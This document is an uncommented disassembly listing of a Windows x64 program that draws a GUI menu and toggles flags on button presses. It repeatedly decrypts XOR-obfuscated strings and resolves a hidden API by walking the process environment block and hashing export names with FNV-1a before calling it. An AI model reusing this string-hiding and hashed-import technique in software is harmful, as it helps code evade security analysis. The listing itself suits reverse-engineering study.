jne 0x14009232b
call fcn.14008b1d0
mov byte [0x14018e6f8], 1
mov eax, dword [0x14015c3dc]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14015c3e0]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x14015c3e2]
mov byte [rbp - 0x70], Ordinal_79
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x35
xor al, 0x36
mov byte [rbp - 0x6a], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp - 0x70]
call fcn.140005280
mov ecx, 0xff3366cc
call fcn.140087260
movaps xmm0, xmmword [0x14011c2b0]
movups xmmword [rbp + 0xcc0], xmm0
lea rdx, [rbp + 0xcc0]
mov ecx, 3
call fcn.140021de0
movaps xmm0, xmmword [0x14015f2b0]
movups xmmword [rbp + 0xcd0], xmm0
lea rdx, [rbp + 0xcd0]
mov ecx, 5
call fcn.140021de0
movaps xmm1, xmm11
mov ecx, 6
call fcn.140021f20
mov qword [rbp + 0x2b8], 0
lea rcx, [rbp + 0x2b8]
call fcn.140025d40
mov dword [rbp + 0x2c0], 0x43160000
mov dword [rbp + 0x2c4], 0x43e60000
mov r9d, Ordinal_27
mov r8b, 1
lea rdx, [rbp + 0x2c0]
lea rcx, str.Sidebar
call fcn.140007fe0
mov dword [rbp + 0x2c8], 0x41480000
mov dword [rbp + 0x2cc], 0x41200000
lea rcx, [rbp + 0x2c8]
call fcn.140025d40
xorps xmm0, xmm0
movups xmmword [rbp + 0xce0], xmm0
movaps xmm1, xmmword [0x140117080]
movups xmmword [rbp + 0xc50], xmm1
mov dword [rbp + 0x2d0], 0x3f800000
mov dword [rbp + 0x2d4], 0x3f800000
mov qword [rbp + 0x2d8], 0
movd xmm0, dword [rbp + 0x1288]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x2e0], xmm0
movd xmm1, dword [rbp + 0x1290]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x2e4], xmm1
lea rax, [rbp + 0xce0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc50]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2d0]
lea r8, [rbp + 0x2d8]
lea rdx, [rbp + 0x2e0]
mov rcx, r13
call fcn.140047240
mov dword [rbp + 0x2e8], 0
mov dword [rbp + 0x2ec], 0x43390000
lea rcx, [rbp + 0x2e8]
call fcn.140025d40
call fcn.1400197f0
mov rdi, rax
mov dword [rax + 0xc4], 0x3f800000
mov dword [rax + 0xc8], 0x3f800000
mov dword [rax + 0xcc], 0x3f800000
mov dword [rax + 0xd0], 0x3f800000
mov qword [rax + 0x214], 0x3f800000
mov dword [rax + 0x21c], r12d
mov dword [rax + 0x220], 0x3f800000
mov qword [rax + 0x114], 0x3f800000
mov dword [rax + 0x11c], r12d
mov dword [rax + 0x120], 0x3f800000
movups xmm0, xmmword [0x14018d2e8]
movups xmmword [rax + 0x224], xmm0
movups xmm0, xmmword [rax + 0xe4]
movups xmmword [rax + 0x234], xmm0
mov rcx, qword [rbp + 0x78]
call fcn.140025b40
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x140117070]
mov dword [rbp + 0x2f0], 0x43480000
mov dword [rbp + 0x2f4], 0x42200000
movups xmm1, xmmword [0x14015c3e8]
movups xmmword [rbp + 0x690], xmm1
movzx eax, word [0x14015c3f8]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x14015c3fa]
mov byte [rbp + 0x6a2], al
mov r8d, r12d
cmp r14d, 2
jl 0x140092715
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140092610
cmp r8d, 0x13
jge 0x140092760
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140092730
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d700]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d6f8]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d6f0]
xor r8d, r8d
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x690]
call fcn.14003fa20
test al, al
je 0x1400927dd
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x14018e6fa], 0
mov byte [0x14018e6fb], 0
mov dword [rbp + 0x2f8], 0
mov dword [rbp + 0x2fc], 0x436b0000
lea rcx, [rbp + 0x2f8]
call fcn.140025d40
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x14015f310]
mov dword [rbp + 0x300], 0x43480000
mov dword [rbp + 0x304], 0x42200000
movups xmm0, xmmword [0x14015c400]
movups xmmword [rbp + 0x798], xmm0
mov eax, dword [0x14015c410]
mov dword [rbp + 0x7a8], eax
movzx eax, word [0x14015c414]
mov word [rbp + 0x7ac], ax
cmp byte [0x14015c415], 0
je 0x1400929f0
mov r8d, r12d
cmp r14d, 2
jl 0x1400929a5
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x79c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400928a0
cmp r8d, 0x16
jge 0x1400929f0
movsxd rax, r8d
lea r9, [rbp + 0x798]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400929c0
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d718]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d710]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d708]
xor r8d, r8d
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x798]
call fcn.14003fa20
test al, al
je 0x140092a6d
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6fa], 1
mov byte [0x14018e6fb], 0
mov qword [rbp + 0x308], 0
lea rcx, [rbp + 0x308]
call fcn.140025d40
mov rcx, qword [0x14018e610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm10, dword [0x14015f1bc]
movaps xmm3, xmm10
movaps xmm2, xmm11
movaps xmm0, xmm11
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0x1128]
call fcn.140009b40
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x112c]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1128]
movss dword [rbp + 0x1118], xmm6
movss dword [rbp + 0x111c], xmm7
movss dword [rbp + 0x1120], xmm0
movss dword [rbp + 0x1124], xmm1
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1120]
lea rdx, [rbp + 0x1118]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f810
mov dword [rdi + 0xf4], 0x3f800000
mov dword [rdi + 0xf8], 0x3f800000
mov dword [rdi + 0xfc], 0x3f800000
mov dword [rdi + 0x100], 0x437f0000
mov dword [rdi + 0x114], 0x3f800000
mov dword [rdi + 0x118], 0x3f800000
mov qword [rdi + 0x11c], 0x3f800000
mov dword [rbp + 0x310], 0
mov dword [rbp + 0x314], 0x43660000
lea rcx, [rbp + 0x310]
call fcn.140025d40
mov dword [rbp + 0x318], 0
mov dword [rbp + 0x31c], 0x43910000
lea rcx, [rbp + 0x318]
call fcn.140025d40
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
mov dword [rbp + 0x320], 0x425c0000
mov dword [rbp + 0x324], 0x43c80000
lea rcx, [rbp + 0x320]
call fcn.140025d40
mov dword [rdi + 0x224], 0x3d5d2f1b
mov dword [rdi + 0x228], 0x3d5d2f1b
mov dword [rdi + 0x22c], 0x3d5d2f1b
mov dword [rdi + 0x230], 0x437f0000
mov qword [rdi + 0xf4], 0x3f800000
mov dword [rdi + 0xfc], r12d
mov dword [rdi + 0x100], 0x3f800000
mov qword [rdi + 0x114], 0x3f800000
mov dword [rdi + 0x11c], r12d
mov dword [rdi + 0x120], 0x3f800000
movaps xmm0, xmmword [0x140117080]
movups xmmword [rbp + 0xcf0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xd00], xmm1
mov dword [rbp + 0x328], 0x3f800000
mov dword [rbp + 0x32c], 0x3f800000
mov qword [rbp + 0x330], 0
mov dword [rbp + 0x338], 0x42140000
mov dword [rbp + 0x33c], 0x41e00000
lea rax, [rbp + 0xcf0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xd00]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x328]
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x338]
mov rcx, rsi
call fcn.140047470
test al, al
je 0x140092f79
movups xmm0, xmmword [0x14015c418]
movups xmmword [rbp + 0x8d8], xmm0
movups xmm1, xmmword [0x14015c428]
movups xmmword [rbp + 0x8e8], xmm1
movzx eax, word [0x14015c438]
mov word [rbp + 0x8f8], ax
movzx eax, byte [0x14015c43a]
mov byte [rbp + 0x8fa], al
mov r8d, r12d
cmp r14d, 2
jl 0x140092e75
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x8dc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140092d70
cmp r8d, 0x23
jge 0x140092ec0
movsxd rax, r8d
lea r9, [rbp + 0x8d8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140092e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140092f54
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140092f54
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140092f4f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140092f30
cmp edx, 0x491e0a9c
je 0x140092f59
test r9d, r9d
jne 0x140092f10
mov rax, qword [rax]
jmp 0x140092ee0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x8d8]
call rax
mov dword [rbp + 0x340], 0x41200000
mov dword [rbp + 0x344], 0x43d70000
lea rcx, [rbp + 0x340]
call fcn.140025d40
mov rcx, r15
call fcn.140025b40
movaps xmm7, xmmword [0x14015f2d0]
mov dword [rbp + 0x348], 0x42f40000
mov dword [rbp + 0x34c], 0x41e00000
movups xmm0, xmmword [str.TXAP_GR]
movups xmmword [rbp + 0x768], xmm0
mov eax, dword [0x14015c450]
mov dword [rbp + 0x778], eax
movzx eax, byte [0x14015c454]
mov byte [rbp + 0x77c], al
mov r8d, r12d
cmp r14d, 2
jl 0x140093126
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x76c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140093021
cmp r8d, 0x15
jge 0x140093170
movsxd rax, r8d
lea r9, [rbp + 0x768]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140093140
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d730]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d728]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d720]
xor r8d, r8d
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x768]
call fcn.14003fec0
test al, al
je 0x140093459
movups xmm0, xmmword [0x14015c458]
movups xmmword [rbp + 0x928], xmm0
movups xmm1, xmmword [0x14015c468]
movups xmmword [rbp + 0x938], xmm1
movzx eax, word [0x14015c478]
mov word [rbp + 0x948], ax
movzx eax, byte [0x14015c47a]
mov byte [rbp + 0x94a], al
mov r8d, r12d
cmp r14d, 2
jl 0x140093355
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x92c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140093250
cmp r8d, 0x23
jge 0x1400933a0
movsxd rax, r8d
lea r9, [rbp + 0x928]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140093370
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140093434
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140093434
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14009342f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140093410
cmp edx, 0x491e0a9c
je 0x140093439
test r9d, r9d
jne 0x1400933f0
mov rax, qword [rax]
jmp 0x1400933c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x928]
call rax
call fcn.140015c00
mov qword [rbp + 0x350], 0x43160000
lea rcx, [rbp + 0x350]
call fcn.140025d40
movss xmm8, dword [0x14015f1b8]
movss xmm9, dword [0x140116f64]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140095a0a
mov qword [rbp + 0x358], 0x43160000
lea rcx, [rbp + 0x358]
call fcn.140025d40
mov r15, qword [rbp + 0x78]
mov rcx, r15
call fcn.140025b40
call fcn.1400197f0
mov rdi, rax
mov qword [rax + 0xf4], 0x3f800000
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
xorps xmm0, xmm0
movups xmmword [rbp + 0x1138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1148], xmm1
xor r8d, r8d
lea rdx, [0x140110a7c]
lea rcx, [rbp + 0x1138]
call fcn.140056110
nop
mov dword [rbp + 0x360], 0x44138000
mov dword [rbp + 0x364], 0x43e60000
movsd xmm0, qword [0x14015c480]
movsd qword [rbp - 0x48], xmm0
movzx eax, word [0x14015c488]
mov word [rbp - 0x40], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140093578
mov byte [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x47], 0x31
xor byte [rbp - 0x46], 0x32
xor byte [rbp - 0x45], 0x33
xor byte [rbp - 0x44], 0x34
xor byte [rbp - 0x43], 0x35
xor byte [rbp - 0x42], 0x36
xor byte [rbp - 0x41], 0x37
xor byte [rbp - 0x40], 0x38
xor byte [rbp - 0x3f], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x48]
call fcn.140007fe0
mov dword [rbp + 0x368], 0x42480000
mov dword [rbp + 0x36c], 0x42480000
lea rcx, [rbp + 0x368]
call fcn.140025d40
mov rcx, qword [0x14018e610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm1, dword [0x14015f1b4]
movaps xmm3, xmm1
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x1130]
call fcn.140009b40
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1134]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1130]
movss dword [rbp + 0x1108], xmm6
movss dword [rbp + 0x110c], xmm7
movss dword [rbp + 0x1110], xmm0
movss dword [rbp + 0x1114], xmm1
mov dword [rsp + 0x30], 0xff0b0b0b
mov dword [rsp + 0x28], 0xff0b0b0b
mov dword [rsp + 0x20], 0xff0b0b0b
mov r9d, 0xff0b0b0b
lea r8, [rbp + 0x1110]
lea rdx, [rbp + 0x1108]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f810
mov dword [rdi + 0xd4], 0x3f800000
mov dword [rdi + 0xd8], 0x3f800000
mov dword [rdi + 0xdc], 0x3f800000
mov dword [rdi + 0xe0], 0x3f800000
mov dword [rbp + 0x370], 0x42700000
mov dword [rbp + 0x374], 0x42700000
lea rcx, [rbp + 0x370]
call fcn.140025d40
mov rcx, qword [rbp + 0x378]
call fcn.140025b40
movsd xmm0, qword [0x14015c490]
movsd qword [rbp + 0x218], xmm0
mov eax, dword [0x14015c498]
mov dword [rbp + 0x220], eax
cmp byte [0x14015c49b], 0
je 0x140093840
mov r8d, r12d
cmp r14d, 2
jl 0x140093801
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c490]
